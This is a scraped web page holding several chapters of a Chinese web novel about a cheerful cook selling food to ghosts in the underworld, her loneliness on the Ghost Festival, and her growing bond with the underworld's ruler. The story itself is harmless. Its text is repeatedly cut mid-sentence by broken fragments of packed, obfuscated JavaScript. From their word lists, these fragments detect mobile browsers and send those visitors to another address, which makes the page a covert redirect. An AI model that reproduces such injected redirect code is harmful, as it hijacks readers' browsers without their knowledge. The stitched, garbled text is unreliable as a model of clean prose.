RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200699|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈婵娟向来见不得别人不高兴，尤其见不得小姑娘不高兴。 她炸完豆腐，连摊都没收，就朝北潇湘走去。她处理这种事已经是轻车驾熟，不就是没吃到臭豆腐吗？ 沈婵娟笑眯眯地看向北潇湘，拿出一个蛋筒朝她摇了摇，用嘴型比划道：“要——吃——吗？” 北潇湘愣了愣。 这还是除了南辰，第一次有鬼对她笑。 北潇湘想走，身体却好像被定住了一般，只能呆呆地看着沈婵娟向自己走来。 她难过地想：沈婵娟这么友善，刚刚却还还说她普通，自己真的太坏了。 沈婵娟把蛋筒递到她面前，好像逗小孩开心一样：“想要草莓、布丁还是香草冰淇淋？虽然没吃到臭豆腐，但我保证，冰淇淋也不会让你失望的。” “我不知道。”北潇湘低着头。 沈婵娟表示理解，大度地拍了拍她的肩。 她懂，小孩子才做选择，成年人当然是都要！ 北潇湘的声音轻轻飘到沈婵娟耳朵里：“我都没吃过。” 虽然是实话，但北潇湘却很懊恼，不知道自己怎么就说出来了。 现在好了，这个特别好的老板要看不起她了。 沈婵娟没想到是这样，顿了顿故作遗憾：“那没有办法了。” 北潇湘咬着唇，有点难过。 忽然，一个放大的三色冰淇淋出现在眼前。 沈婵娟的声音带着笑意：“刚刚冰淇淋球说，如果有一个口味不能被这么可爱的小姐吃掉，那它的冰淇淋球生真是太可悲了——”北潇湘抬头，看着严肃扮演着冰淇淋球的沈婵娟，眼里热热的，又有点想笑。 “所以，三个口味的冰淇淋都来找你啦。” 看着沈婵娟亮晶晶的眼睛，北潇湘心里有点别扭，又有点热热的。但她什么也没说，只是接过冰淇淋，狠狠咬了一口。 “被你吃掉，真是死而无憾呀呀！”沈婵娟掐着脖子夸张道。 北潇湘觉得她有点傻，但却没忍住笑了出来。 嘴里的冰淇淋很凉，也很甜，草莓的香气盈满了鼻腔，她好像在一块草莓味的云上，有种飘飘然的快乐。 沈婵娟被她笑了也不恼，只是笑吟吟的：“把冰淇淋当作补偿怎么样？” 北潇湘咬了咬嘴唇，盯着沈婵娟含笑的眼神，不好意思地点了点头。 “那下次开心一点来吧？笑着吃我做的东西，会觉得更好吃。” 被看穿的北潇湘有点别扭：“我今天没有不开心。” “哦——”沈婵娟拉长了声音：“那下次和今天一样开心？” 北潇湘听着她哄小孩一样的语调，有点高兴，又有点不高兴：“你把我当小孩子吗？” 她这副小大人的样子把沈婵娟逗得直乐：“没有，你十八九岁，已经是成年的大人了。” “我……”北潇湘顿了顿，扭过头决定不和这个人类一般见识。 什么十八九岁？她今年正好满两千岁！早就已经是成熟的阴差了！ 沈婵娟觉得北潇湘特别可爱，摸了摸她的头准备离开。 北潇湘还在恶狠狠地吃冰淇淋，却见离开的沈婵娟“咻”地回头，朝她眨了眨眼：“吃到补偿冰淇淋的事，不要告诉别人哦。” 她的神色亲昵又自然，好像北潇湘已经与她共享了一个不为人知的秘密。 北潇湘怔怔地点点头，目光紧紧追随着沈婵娟潇洒离去的背影。 直到那背影消失在闹哄哄的集市，她才有点不舍地收回目光。 明天，就像她说的那样，开心地再来吧。 18. 蜂蜜华夫 半夜十一点，沈婵娟还在厨房打发面糊。 明日，便是农历七月十五，中元节。 作为地府里最重要的节日，中元的热闹甚至能与人界的春节比肩。从这日零点开始，地府就打开了与人界的通道。黑白无常这些阴差要从子夜开始加班，去人间抓捕游荡的残魂和脏东西。 而这一天，连接上人界的地府将迎来一年一度的日出，四城的鬼们也将彻夜不眠，从零点守完这一整天。 日出日落，对于人类来说不过稀疏平常，但对生活中地府的鬼魂来说，却是难得一遇。他们放弃飘行，踏实地落在地上，用自己的身高去丈量与天幕的距离，就好像自己还活着一样。 不过，中元节对别的鬼是放假，对于沈婵娟来说，却是大赚一笔的良机。 中元之日，肯定有不少鬼会来到集市拜梧桐看日出，而站着等了几个小时的、饥肠辘辘的鬼，此时闻到一阵甜蜜温暖的香味，该当如何？ 想到手到擒来的客流量，沈婵娟不语，只是一味地打面糊。 她将黄油、鸡蛋与牛奶混合均匀，把常用的细砂糖换成了栗子蜂蜜，而后倒入泡打粉拌匀，再将低筋面粉筛入后放入盐与香草精调味。将其封上保鲜膜后，放入冰箱冷藏两小时。 “叮铃铃——” 沈婵娟伸手把闹钟按掉，精神百倍地从床上爬起来，收拾好出摊的东西，往百鬼集市而去。 小沈美食摊，在七月十五的凌晨三点正式开业。 “沈老板，今天吃什么！！” 沈婵娟拿出两个圆形的黑色机器。 “华夫饼机？！” “我靠，爱吃华夫饼的鬼有福了！” “论我在沈老板这能看到多少厨具……” 沈婵娟将一勺面糊倒入华夫饼机中，均匀摊开后关盖，上火烘烤，华夫饼机里发出“滋啦滋啦”的声音。 沈婵娟估摸着火候刚好，掀开了华夫饼机的盖子。 刚出炉的华夫饼呈现出焦糖的色泽，菱格饱满，带着微微的甜香。将其分成两份放入盒中，淋上巧克力酱，挤一个漂亮的奶油花，放入新鲜的蓝莓和草莓，一盒热乎乎的蜂蜜华夫饼就做好了。 “好香啊，闻起来甜甜的。” “这种华夫饼和我之前吃的不一样诶。” “我觉得这种好吃！吃起来是硬硬的口感，特别脆特别香。” “你这翻面翻太快了吧？” “我感觉刚刚沈老板过了一会才翻面的。” 饼糊已经提前打好，所以沈婵娟今天也开放了DIY模式。 众鬼觉得，华夫饼机在手，压个华夫饼不是易如反掌？ 正在压饼的言喻晓呵呵一笑。 天真，实在是太天真了。 她学着沈婵娟的样子倒入饼糊后关盖，觉得烤得有点慢，便把火开大了些。没多久，华夫饼机里“滋啦滋啦”的声音就让她心惊肉跳。 这机子不会炸吧？言喻晓有些担心。 见她躲得老远，沈婵娟无奈：“都在地府了还怕死吗？” 不知为何，言喻晓居然觉得她说得很有道理。 “听起来吓人但不会炸的，别担心。”沈婵娟见她担心，分神补了一句。 很快，新的难题接踵而至。 那华夫饼机的盖子黑黢黢的，根本无法看清里面的华夫饼烤得怎么样了，言喻晓看着烧了好一会的机子，心里忐忑。 出于一种“沈老板行我也行”的心态，她一言不发地看着火，盘算着刚刚沈婵娟究竟烤了多久。 “妹子，我提醒一下啊。” 言喻晓回头。 “我也不确定看错没。” 言喻晓疑惑。 “你到现在是不是还没翻面啊？” 完了。 言喻晓手忙脚乱地翻了个面，打开盖子一看，朝火的那一面果然焦黑如碳。 她老实地把锅还给沈婵娟。 专业的事还是交给专业的人。 大排长龙的队伍逐渐缩短，凌晨四点也如约而至。此时地府大开祀箱，收取人界烧来的纸钱。 阴律司把收到的纸钱按照各鬼的名字登记好，根据地府戒律的计算公式，用不同的系数把纸钱折成阴时，发放到各鬼的初始阴时存储工具中作为津贴。 而收到人界来的、沾有活气的阴时，鬼的心脏处将亮起星芒。 在地府，这颗星芒既像是生日蛋糕的蜡烛，也像一条思念的红线。前者让徘徊地府的鬼魂们知道，寒来暑往，又是一年，而后者，则连接着生命与死亡的终点，虽然遥远，但从不曾断裂。 渐渐地，队伍里的鬼们心口处纷纷亮起星芒，放眼望去，整个百鬼集市仿若浩瀚银河，亮起星芒的鬼们则如银河里的点点星辰。 而璀璨的银河中间，一块不起眼的黯淡持续了很久。而暗淡之处，正是沈婵娟。 她的心脏处沉寂着，没有发出任何光芒。这意味着她死后，没有人给她烧纸，没有人惦念她，也没有人牵挂她。 沈婵娟思绪纷飞，压华夫饼机的却手不停，只是手心微微濡湿。 不能分神。 她做了个深呼吸，将精力集中在华夫饼机上，把食客的窃窃私语隔绝在外。 嘲笑也好，关心也罢，她此时都不在意，也不能在意。 “沈老板居然没亮吗？” “对啊，我以为沈老板人缘会很好。” “你们能不能闭嘴？哪壶不开提哪壶啊？”说话的鬼一个白眼。 “就是啊，建议你们去读《你说话别人为什么不爱听》。” 百鬼集市人潮涌动，几乎到了摩肩接踵的地步。 随着饼糊的不断减少，队伍也逐渐到了末尾。沈婵娟递出最后一份华夫饼，今日的出摊便结束了。 食客潮水般散去，她看着黯淡的心口，莫名地将手放在那里，轻轻捂住了它。 沈婵娟顺着集市的人流，想走到百鬼梧桐那去。地府有很多为观赏日出修建的亭台，站在上面，甚至能看到人界的地平线。 有人说，如果心诚，便能在日出升起的那刻，看见所爱之人的笑颜。 不过这些话，沈婵娟一点也不信，因为那观景台附近，分明有不少和她一样趁机割韭菜的商家。 咳，奸商对于这种手段，都心知肚明。 去往百鬼梧桐的路上，沈婵娟遇到了很多鬼，他们的心口处散发着微弱的星芒，不仅亮堂，而且温暖。 尽管她很清楚，地府那么多鬼，不可能只有她没有星芒，也不可能只有她没有收到人界的纸钱。但是，看着别人的星芒，沈婵娟总是有些羡慕的。 她想起初中，那所学校是走读制，沈婵娟要自己走路回孤儿院，然后给弟弟妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223883|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹做晚餐。 孤儿院招不到人手，沈婵娟就自告奋勇地去帮忙。说是帮忙，其实是因为她年纪很大了，她不希望自己被赶出家门。 孤儿院，也算她的家吧。 那天，沈婵娟走在明晃晃的柏油马路上，右手边是傍晚的夕阳，路过的小女孩牵着妈妈的手，闹腾地叫着“妈妈，妈妈”。女人温和地去摸她的头发，夕阳把她们的脸照得无比柔和，像电影里的画面一样。 沈婵娟不自觉看了好久，想象着有人用手掌摸她的脸颊，轻抚她的头发，宠爱地叫她“宝贝”。 想着想着，她居然轻轻笑起来，睁开眼，心里有点轻飘飘的惆怅。那日不知怎地，李院长炒完菜，僵硬地走过来，摸了摸她的头发。 要知道，李院长虽然为人亲切，但却是羞于表达爱的。对于孤儿院的孩子，她虽然爱着他们，但却从不叫他们“宝贝”，也从不会摸头拥抱。 被摸了头的沈婵娟有点惊讶，心里又像抹了蜜一样。 “李院长，你怎么想着摸我头了？” 李院长敲了敲她，有些尴尬地说：“既然你喜欢，那就叫你宝、贝吧。” 见李院长尴尬的样子，沈婵娟有点想笑：“真的？” “真的。” “那你再叫一声。”沈婵娟有意打趣她。 没想到李院长顿了顿，认真地说：“宝、贝。” 她的声音因为紧张有点干涩，甚至有点哑，但沈婵娟一点也笑不出来，因为她分明看到李院长的眼里闪动着晶莹的泪光，而她自己也一样。 不等沈婵娟接话，李院长连忙说要去叫孩子们吃饭。沈婵娟看着李院长离开的背影，听到她大声地喊“孩子们吃饭了！”，想起她抚摸自己头发的轻柔，想起她粗粝的手掌，沈婵娟轻轻动了动嘴唇。 她说的是：妈妈。 沈婵娟一个人站在百鬼梧桐下，有风吹过。此时梧桐依然长青，人声依然鼎沸，他们心脏处的星芒也依然明亮。 沈婵娟看着枝干粗壮的梧桐，忽地想起云寄锦灵验的愿望，没忍住默默道：如果这棵树真的灵验，那能不能现在就让我的星芒亮起来。 她想了想，又觉得梧桐不能干涉人界烧纸的事情，又退一步换了个愿望：能有个也不会亮的鬼陪我也行。 沈婵娟百无聊赖地站着，等待那千钧一发的日出时刻。梧桐的香气在鼻尖幽然浮动，她被迫承受着过路行人投来的怜悯眼光。 沈婵娟有点无奈，装作在找人的样子扫视着来往的人群。 万一天上真掉下来个鬼陪她呢？ 良久。 沈婵娟自嘲地笑了笑。她居然真的信梧桐会灵验，傻傻地等着一个和她一样的鬼魂出现。 微弱的叹息随风而去。 她的心里沉甸甸的，像一只疲惫翱翔的飞鸟。饶是她再不知疲倦，也会有一瞬间希望，能有一阵顺羽的气流，让自己有短暂的喘息之机。 不远处的天色终于蒙蒙亮起，东边的旭日仿佛蓄势待发，欲晓的天光已将层云染得姹紫嫣红。 沈婵娟揉了揉酸痛的眼睛，睁眼时，朝阳初升，霞光喷薄万里，如烈火熔金。 而茫茫人海里，万丈金光下，有一颗泪状的小痣，和两个不会发光的鬼魂。 此时，世界万籁俱寂。 天上不会掉下林妹妹，但会给沈婵娟掉一个司殷。 19. 橘子华夫 沈婵娟笑了笑，她完全没想到，有朝一日和自己做伴的，居然是这个奇怪的客人。 但对于这阵顺羽的气流，她的确是感激的。 也许她自己也没有意识到，这阵气流也轻轻地卷起了她心湖的浪潮。 司殷遥望着沈婵娟，流连过她日光下柔和的眉眼。 他不得不承认，听到沈婵娟愿望的那一瞬间，他心软了。 因此他匆匆处理完地府事宜，从地狱赶到这沸汤一样闹腾的集市，站在梧桐下最亮的地方，只为让她能一眼看见。 司殷想，这样就够了，让沈婵娟知道她不是一个人就够了。现在，自己应该毫不犹豫地回到地狱，继续处理剩余的工作。 但是为什么，为什么心里却涌上了另一种陌生的冲动？ 这个已故却保有阳气的古怪女鬼，这个平常总是笑眯眯逗别人开心的沈老板，这个想为所有人烹饪幸福的沈婵娟。司殷无意间穿过她明朗乐观的表色，看到了她身上落寞的灰阶。 他不自觉地朝沈婵娟迈开脚步。 近一点，再近一点。 人潮汹涌，司殷的心里也有潮起潮落的声音。 他疑惑地想，这是什么声音？ 是怜惜吗？是悲悯吗？是同情吗？是爱吗？ 司殷无法回答，但他此时唯一确信的是，他清楚地看见了她。 他越来越急，走得也越来越快，与沈婵娟的距离便越来越短。 十步，五步，最终，咫尺之遥。 “沈老板，好久不见。” “嗯，好久不见。” 此情此景，二人难得相视一笑。 “赏脸和我这个新朋友逛逛集市吗？” 沈婵娟顿了一下，回想起七夕的情形，勉强在心里接受了这个朋友。 “好。” 天光明媚，朝阳的曦光落在每一个重见天日的鬼身上，轻飘飘的，又暖洋洋的，也许是太阳的温度，也许是生命的热度。 忽而风起。 柔和的风带来阵阵梧桐的香气，把檐下的灯笼吹得轻轻摇晃，而后风略过沈婵娟耳侧，轻轻卷起了她的头发。 人潮太拥挤，他们的距离太近，那缕轻柔的发丝扫过司殷的脖颈，带起微妙的痒意。 “还没有问过你，你叫什么名字？”沈婵娟抬头问他。 也许是集市里太吵，司殷摇摇头，把耳朵凑到她嘴边。 沈婵娟从来没有这么近地看过一个人，他的皮肤细腻白皙，黑紫的双瞳被照得晶莹剔透，像一颗熟透的葡萄，绯红的双唇微微翘起，似笑非笑的模样。 他真正笑起来的时候，原来不是那种要吃人的样子。沈婵娟无端地想。 见司殷又投来目光，沈婵娟清了清嗓，凑近道：“我是问，你叫什么名字？” 司殷便学着她的样子，凑到沈婵娟身边，故意放轻了声音：“司殷。” “什么？”沈婵娟没听见他的声音，又凑近了一些。 “我说——我叫司殷，公司的司，殷勤的殷。” 这下听见了，不仅听见了，沈婵娟的耳朵还被他吐出的气吹得痒痒的。 “这个名字还蛮特别的。”沈婵娟摸了摸耳朵，随口道。 司殷笑了笑，不置可否。 凌晨用的早餐已经消化殆尽，沈婵娟从项链里拿出了她给自己特制的蜂蜜华夫饼。 她想了想，又拿出另一块，递给了司殷。 这个特制华夫饼用了橘子蜂蜜，是沈婵娟最喜欢的甜品口味，她本来想着当成零嘴自己吃掉，但今日司殷出现得正巧，这个华夫饼就当便宜他了。 司殷笑着接过，揶揄道：“额外阴时的奖励，就是沈老板的小灶吗？” 沈婵娟也笑了笑，想到他多付的阴时，心里的芥蒂烟消云散。 “你就当是吧。” 司殷嘴角上扬，笑得眼睛微微眯起：“那我可要拿出与这份奖励匹配的条件了。” 沈婵娟暗道不妙，不会下次来付更多阴时吧？ 她尴尬一笑：“你给的已经够多了，”见司殷又要开口，连忙阻止：“快吃吧，冷了就不好吃了。” 司殷了然地点点头，去吃那个焦糖色的华夫饼。 第一口能尝到的就是香脆，细细咀嚼，醇厚的黄油味在舌尖弥漫开，搭配着香浓的巧克力酱，让人感到一种甜蜜的满足。吃得越多，橘子蜂蜜的清甜和香味才凸显出来，很好地化解了黄油和糖分的腻味，再配上酸甜的草莓，更显得爽口。 热闹的喧闹声挤在二人中间，司殷和沈婵娟虽没有说话，但却并不觉得尴尬。 “你上次说，想来当我的帮工，现在还想吗？” 司殷目光一滞，眼神有些复杂。 就帮工这件事来说，他的心思并不单纯，他对此心知肚明。沈婵娟是唯一能看到他真实面貌的人，这个千载难逢的机会，司殷不想错过。 他今天冲动地来到集市，冲动地来到沈婵娟身边，总是情绪占了上风，难得这样一个能够思考的时候，他的理智终于回笼。 司殷想，也许是他今天失了神志。他堂堂地府之主，这些莫名其妙的情绪，不过是过眼云烟。 于是，他避开沈婵娟清澈的眼睛，微笑道：“想。” 沈婵娟没多想：“你会做什么？” “洗菜、切菜、收拾厨房，我都能做得不错。” 沈婵娟点点头：“会做菜吗？” 司殷有些心虚，故作自然道：“一点点。” “比如？” “……华夫饼。”他举起手里的空盒，向沈婵娟示意。 “那明天来百鬼集市，梨花巷仲7号。” “好。” “不问问要干什么？” 司殷摇头。 沈婵娟挑眉，侧头去看他。 “我这种小帮工，当然是听沈老板的。” 转眼就到了傍晚，流彩的晚霞斜挂枝头，沈婵娟和司殷坐在百鬼梧桐的树荫下，风里卷起轻薄的寒意。 夕阳残红，集市里的人潮渐渐褪去，他们也到了分别的时候。 不过比起不舍，沈婵娟更多的是惊讶。 她没想到自己居然和司殷待了一整天，待就待吧，更让她诧异的是，她和司殷居然聊得很投机，上到她喜欢的文学杂书，下到校园琐事，他们居然无所不谈。 沈婵娟心里思虑着，那边司殷起了身，站在她身前，投下一片黑色的影子。 “沈老板还坐着，是要我送你回家吗？” 沈婵娟抬头，他站在夕阳之下，姣好的面颊影影绰绰，看得并不真切，有种模糊的温柔。 沈婵娟哑火，决定不和他计较：“我自己回去。” “好。” 沈婵娟就着司殷的手站起来，笑道：“那我先走了。” 她朝司殷挥手，爽朗道：“明天见。” “嗯。”司殷也朝她摆手。 他遥望着沈婵娟的背影，直到她的身影消失不见。司殷站在余晖下，久违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229912|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地感到一种，品尝美食时才能体味的轻松。 他咂摸着沈婵娟的“明天见”，轻轻笑了笑：“明天见。” * 沈婵娟与司殷告别后，一个人走在回家的路上。 不知怎地，心口处莫名有种鼓胀的感觉，她低头看去，才发现是她心口的星芒亮了。那果然和她今天看到的星芒一样，不仅亮堂，而且温暖。 “小沈——” 空气里传来少年和女人的声音，沈婵娟听不真切，却远远看到一黑一白两道身影朝她右手边飘来，而左手边朝她飘来的，是今日未出摊的云寄锦。 他们的速度又急又快，好像疾驰的风，要飞奔到她怀里来。 先到的是小黑小白。 “还好赶上了！”小白气喘吁吁。 “赶上什么？”沈婵娟有点疑惑。 “赶上给你烧纸呀！”小白跳起来，弹了一下沈婵娟的脑门。 沈婵娟想起刚亮的星芒，笑着捏了捏他的脸颊：“原来是你们烧的，谢谢。” 小白刚要开口，就听一道爽朗的女声传来：“小沈！我也给你烧了！” “你一个鬼怎么去人界烧纸？”小白有点怀疑。 云寄锦白了他一眼：“当然是托阴差烧的。” 她不再搭理小黑小白，挽着沈婵娟的手臂，严肃道：“小沈。” “嗯？” “你应该先谢我。” 沈婵娟失笑：“当然要谢谢你，你对我这么好，用提拉米苏报答你怎么样？” 云寄锦满意点头，她就知道沈婵娟懂她！ 闻言，小白幽怨地看向云寄锦：“凭什么？你烧得肯定没有我和小黑多。” “你烧了多少？”云寄锦叉腰。 “你先说。” “我不，你先说。” 二人僵持，小黑无语，插到他们中间：“我和小白一人烧了四千万。” 小白瞪了他一眼，刚想斥责这个背叛自己的鬼，又听云寄锦道：“诶呦，真是不巧——” 小白眉心一跳。 “我烧了八千八百八十八万。” 8888，小黑嘴角抽动。 眼见小白震怒地朝人界方向飘去，沈婵娟连忙收起逗弄的心思，抓住他的手腕：“好了好了，烧了多少不要紧，你们三个给我烧了这么多，于情于理，我都要好好谢谢你们。” 小白喜笑颜开，得意地看了云寄锦一眼。 云寄锦撇开脸，不想看小白那种得逞又幸福的嘴脸。 可恶的黑白无常！明明小沈只说给她做提拉米苏！ 沈婵娟一边拉着云寄锦的手，一边搂着小白，高兴道：“去我家吃饭吗？” “去去去！”小白激动点头。 小黑冷艳颔首。 云寄锦大度点头。 四人并肩走在傍晚橘色的余晖下，夕阳将沈婵娟和云寄锦的影子拖得很长，她们的影子一浓一淡，紧紧地靠在一起。 “小沈，我们给你烧纸，咳咳，”小白顿了顿又道：“你感动吗？” 虽然不知道他用意何在，不过沈婵娟还是捧场地用力点头。 小黑轻咳一声。 小白装作没听见，继续道：“你是不是超级无敌感动？” 沈婵娟有点想笑，继续用力点头。 “既然这样，那下次我们还能''擒贼先擒王''吗？” 沈婵娟失笑。这诡异的用法他倒是记得很牢。 “嗯，下不为例。” 20. 黔糯米饭 次日，沈婵娟照常出摊。 只见摊位上放了一个木质饭桶，表层铺了一层白纱布，开火后，薄薄的水汽不断从木桶里溢散出来。 “这是蒸饭吗？” “好像是，不过蒸饭怎么吃啊，干啃白米饭？” “不至于吧。” “别管了，先上队形。” 闻言，人群中的简诗和简画面露疑惑，只见前面的十来个鬼张口大喊：“老板——饿饿——饭饭——” 声音震天响。 过路行人：？？ 这美食摊的人都这样吗？ 简诗简画脚趾扣地，双双掩面低头，恨不得直接消失在来往的人群里。 等那些显眼包终于关嗓，简诗简画对视一眼：黄泉那厮自己不出面，害她们俩这么丢面子！ 想起黄泉，简诗对简画使了个颜色，简画点头示意，两人便默契地分头找人搭话。 “这美食摊的东西不干净吧？上次我妹妹吃了都拉肚子了。”简诗率先出击。 前面的云寄锦一脸不可置信：“你是吃鬼厨的饭菜吃拉肚子了吧？谁不知道整个地府只有沈老板变出来的食材是新鲜的？” 简诗尴尬一笑，这么重要的事黄泉怎么没告诉她们？！ 那边的简画见情况不妙，火速拉了一个年轻的女鬼道：“听说有鬼从这美食摊里吃出蜘蛛腿，是不是真的啊？” 刘语凡陪着爷爷打理了十多年饭店，哪会不知道这两个人是来找茬的？ 若是在人间，这可是仁者见仁智者见智的事情，毕竟大多数餐馆都没法保证，每一份出去的餐品都干干净净。 但是，这可是在地府，阴气重得寸草不生的鬼地方。 刘语凡：“你的意思是，沈老板要用念力变出蜘蛛腿，再不经意地把它放到菜里，然后不经意地把它卖出去，直到今天都没人发现？” 简画哽住，这《人界谣言指南》怎么没用呢？不是说只要适当夸夸其谈，就会把食客都吓走吗？ 简画心有不甘，再次出击：“哈哈我不是这意思，就是担心卫生嘛。”她话锋一转：“诶你说，这美食摊每天人都这么多，会不会是加了什么……”简画止住话头，用一个懂得都懂的表情暗示刘语凡。 刘语凡面色古怪：“你知道变那些药要花多少阴时吗？不赚钱了？” 简画傻眼，她们阴差想要什么直接变就好，哪考虑过什么成本高低之说？ 饶是简诗简画把嘴皮子都磨烂了，一前一后的云寄锦和刘语凡对她们的话毫不上当，她们的声音吸引了不少旁听的鬼，对简诗简画正义出击。 “哦哦哦，那咋了？” “蜘蛛腿补充蛋白质，沈老板是为我们好。” “知道不干净你们还来排队？” 简诗简画气得双眼通红。 黄泉不是说动动嘴皮子就能搞定吗？！不是说传播谣言易如反掌吗？！到底是谁在易如反掌？ 还有，这个美食摊为什么死忠粉这么多？！说几句这群鬼恨不得冲上来和她们理论！ 简诗简画身心俱疲，简画冲简诗使了个眼色，示意要不回南城算了。 简诗刚想点头，鼻尖处就传来一阵辣子的香油味，让她移不开脚步。 她用眼神询问简画：你想吃吗？ 简画摇头，那指南上说得那么玄乎，万一这美食摊真有蜘蛛腿和上瘾药怎么办？ 简诗点头，脚步却不曾挪动半分。 见她这十头牛都拉不回来的样子，简画恨铁不成钢地到队伍外围去等她。 吃到蜘蛛腿简诗就老实了！ 很快，简诗就到了小摊最前面。 沈婵娟舀出半勺棕色的糯米饭：“有忌口吗？” “一份不要葱，一份不要香菜。” 沈婵娟点头：“辣椒和糖怎么放？” “都不要糖。” 沈婵娟了然，向糯米饭内部放入土豆丝、半根甜肠、大把豆芽和脆哨，而后在上面淋上了一勺特制辣椒油。最后在顶部铺一层糯米饭，把它捏成球形。 简诗咽了咽口水，见沈婵娟开始做另一个，她贼心不死，没话找话道：“老板，你不会区别对待生客和熟客吧？” 这话说得不好听，沈婵娟顿了一下，好脾气地点头：“不会的，每一个饭团都会捏得差不多大。” 简诗见自己的不要香菜的糯米饭即将成型，已经无心找茬：“对了，说到大，这个能多放米饭稍微捏大一点吗？” 沈婵娟哂了一下：“可以。” 最后，简诗得到了一大一小两个饭团。她想了想，还是决定把小的放在项链里。 简画和她会和，不过一个闪身，二人就回到了南城。 简诗打开包着糯米饭的塑料袋，准备在去找黄泉复命的路上把它吃掉。一来是可以晚一点见黄泉，二来则是因为她很馋。 糯米饭的温度透过塑料袋传递到她手上，很暖和。 一口下去，软糯的米饭里夹杂着辣油香辣的味道。透过咬开的缺口，能看到内里缤纷的馅料：嫩黄的豆芽和土豆、粉紫色的甜肠和炸成深色的脆哨。再咬一口，土豆丝的脆、豆芽的嫩、脆哨的香在嘴里结合，辣子的香弥漫在嘴里，香得让简诗不声不响地吃了大半。 “好吃吗？”简画的声音幽幽传来，把简诗吓了一跳。 “不好吃。” “我不信。” “哦。” 见简诗油盐不进，简画叉腰：“把这个给我吃。” 见简画实在厚颜无耻，简诗退开一步，拒绝她离自己再进一步。 “简诗！”简画怒目而视。 简诗玩够了，慢悠悠地从项链里掏出另一个糯米饭：“喏。没加葱。” 简画眉开眼笑，糯米饭又热又辣，和着多样的配菜，实在是香得停不下来，她们商量着避开黄泉再去一次，却在瞧见不远处那个高挑的身影后，火速收了笑。 那男子一双青碧眼，一对斜剑眉，半张脸隐匿在银制的骷髅面具下去，半边嘴唇嫣红。 正是黄泉。 “居然还有比见了我更高兴的事？”黄泉挑眉，朝着简诗简画信步而来。 他一身黑色风衣，身姿如松，腕上表盘青翠如玉，自有一股风流气质。 简诗简画无心欣赏黄泉搭配了半天的穿搭，满脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245933|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子想的都是怎么会碰上这瘟神。 “小画，你笑得最开心，不如你先说？” 简画虎躯一震，将那未吃完的饭团在身后递给简诗：“今日远远地就看见了您伟岸的身姿，实觉气宇非凡，情不自禁。” 简诗低头在一旁憋笑，简画唬人的话真是张口就来。 “小诗，是这样吗？” 被点名的简诗急忙抬头，真切道：“的确如此，黄泉大人。” 黄泉了然点头。 见状，简诗松了一口气。不过下一秒，她的手却被定住，无法动弹分毫。 那个未吃完的饭团飘到黄泉眼前，他微微眯了眯眼，眼里浓郁的青色仿佛上等美玉。 “撒谎可不是好习惯。” 简诗简画谦恭低头：“黄泉大人，我们是想先看看这老板厨艺究竟如何，好找到下次抹黑的重点。” 黄泉松开简诗：“原来是这样。” “黄泉大人，我们对您的衷心日月可鉴，绝没有‘身在曹营心在汉’啊！”。 闻言，简画默默擦了擦汗，简诗这话说的，总感觉越描越黑。 不等黄泉答话，简画直接道：“黄泉大人，您今日也如此光彩夺目。这手表与您的瞳色相互呼应，风衣也裁剪得极为合身，想必是您亲自搭配吧？” 黄泉终于等来知音，眼睛一亮：“还是你有眼光！” “不敢不敢，唯有您这等芝兰玉树、气宇轩昂的阴差能将其穿得如此完美，我一见到您，便已经想好了为您拍照的10086种方式。” 黄泉满意：“简画，虽然你阴气不强，但你这直言不讳、伶牙俐齿的一张嘴，实在是深得我心。” 简画故作谦虚地回嘴：“哪有哪有。” 就在她以为此事已轻轻揭过后，黄泉又道：“既然已经想好了，这些东西便交给你，拍完上传到地府论坛，给各城的鬼一个机会，欣赏一下我的英姿。” 语罢，堆积成山的黄泉明信片、黄泉定制玩偶被放到简画手中。 简画如遭晴天霹雳。 嘴快了！说什么不好说拍照！黄泉可是一生要出片的地府男鬼！ 眼见黄泉潇洒离去，简画小声抱怨道：“我们上哪去给这些东西拍大片啊？黄泉还要求不能重复，南城都给我们拍完了。” “你傻啊！”简诗恨铁不成钢：“黄泉不是让我们盯着美食摊吗？借故外出去东城拍啊！” 简画眼睛一亮，朝她比了个大拇指。 黄泉都能滥用职权，让她们两个堂堂正正的阴差散播谣言，那就不要怪她们叛变了。 (﹁﹁)~→ 真是对不起啊，黄泉大人。简诗简画对视一眼，毫无愧疚之心。 